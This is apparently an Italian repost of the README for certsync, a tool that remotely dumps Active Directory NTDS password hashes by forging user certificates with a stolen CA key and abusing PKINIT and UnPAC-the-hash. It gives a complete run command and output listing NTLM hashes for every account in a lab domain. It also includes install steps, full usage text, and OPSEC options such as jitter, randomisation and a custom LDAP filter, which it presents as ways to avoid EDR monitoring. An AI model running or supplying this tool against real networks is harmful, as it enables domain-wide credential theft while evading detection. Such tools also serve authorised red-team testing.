zblurx/certsyncDump di NTDS con certificati golden e UnPAC dell'hash
certsync è una nuova tecnica per dumpare NTDS da remoto, ma questa volta senza DRSUAPI: utilizza golden certificate e UnPAC the hash.
Funziona in diverse fasi:
$ certsync -u khal.drogo -p 'horse' -d essos.local -dc-ip 192.168.56.12 -ns 192.168.56.12
[*] Collecting userlist, CA info and CRL on LDAP
[*] Found 13 users in LDAP
[*] Found CA ESSOS-CA on braavos.essos.local(192.168.56.23)
[*] Dumping CA certificate and private key
[*] Forging certificates for every users. This can take some time...
[*] PKINIT + UnPAC the hashes
ESSOS.LOCAL/BRAAVOS$:1104:aad3b435b51404eeaad3b435b51404ee:08083254c2fd4079e273c6c783abfbb7:::
ESSOS.LOCAL/MEEREEN$:1001:aad3b435b51404eeaad3b435b51404ee:b79758e15b7870d28ad0769dfc784ca4:::
ESSOS.LOCAL/sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::
ESSOS.LOCAL/jorah.mormont:1113:aad3b435b51404eeaad3b435b51404ee:4d737ec9ecf0b9955a161773cfed9611:::
ESSOS.LOCAL/khal.drogo:1112:aad3b435b51404eeaad3b435b51404ee:739120ebc4dd940310bc4bb5c9d37021:::
ESSOS.LOCAL/viserys.targaryen:1111:aad3b435b51404eeaad3b435b51404ee:d96a55df6bef5e0b4d6d956088036097:::
ESSOS.LOCAL/daenerys.targaryen:1110:aad3b435b51404eeaad3b435b51404ee:34534854d33b398b66684072224bb47a:::
ESSOS.LOCAL/SEVENKINGDOMS$:1105:aad3b435b51404eeaad3b435b51404ee:b63b6ef2caab52ffcb26b3870dc0c4db:::
ESSOS.LOCAL/vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
ESSOS.LOCAL/Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
Contrariamente a quanto si potrebbe pensare, l'attacco non è affatto più lento.
In locale:
git clone https://github.com/zblurx/certsync
cd certsync
pip install .
Da Pypi:
pip install certsync
Da BlackArch:
pacman -S certsync
Pacchetti per tutte le distribuzioni OS:
$ certsync -h
usage: certsync [-h] [-debug] [-outputfile OUTPUTFILE] [-ca-pfx pfx/p12 file name] [-ca-ip ip address] [-d domain.local] [-u username]
[-p password] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-kdcHost KDCHOST] [-scheme ldap scheme] [-ns nameserver]
[-dns-tcp] -dc-ip ip address [-ldap-filter LDAP_FILTER] [-template cert.pfx] [-timeout timeout] [-jitter jitter] [-randomize]
Dump NTDS with golden certificates and UnPAC the hash
options:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-outputfile OUTPUTFILE
base output filename
CA options:
-ca-pfx pfx/p12 file name
Path to CA certificate. If used, will skip backup of CA certificate and private key
-ca-ip ip address IP Address of the certificate authority. If omitted it will use the domainpart (FQDN) specified in LDAP
authentication options:
-d domain.local, -domain domain.local
Domain name
-u username, -username username
Username
-p password, -password password
Password
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-kdcHost KDCHOST FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
connection options:
-scheme ldap scheme
-ns nameserver Nameserver for DNS resolution
-dns-tcp Use TCP instead of UDP for DNS queries
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
OPSEC options:
-ldap-filter LDAP_FILTER
ldap filter to dump users. Default is (&(|(objectCategory=person)(objectClass=computer))(objectClass=user))
-template cert.pfx base template to use in order to forge certificates
-timeout timeout Timeout between PKINIT connection
-jitter jitter Jitter between PKINIT connection
-randomize Randomize certificate generation. Takes longer to generate all the certificates
DSRUAPI è sempre più monitorato e talvolta limitato dalle soluzioni EDR. Inoltre, certsync non richiede l'uso di un Amministratore di Dominio, richiede solo un Amministratore CA.
Questa attacco necessita di:
Dato che non possiamo eseguire PKINIT per gli utenti revocati, non possiamo estrarre i loro hash.
Sono state aggiunte alcune opzioni per personalizzare il comportamento dello strumento:
-ldap-filter: modifica il filtro LDAP usato per selezionare gli username per certsync.-template: usa un certificato già rilasciato per imitarlo durante la forgiatura dei certificati utente.-timeout e -jitter: cambia il timeout tra le richieste di autenticazione PKINIT.-randomize: Di default, ogni certificato utente forgiato avrà la stessa chiave privata, numero seriale e date di validità. Questo parametro li randomizza, ma la forgiatura richiederà più tempo.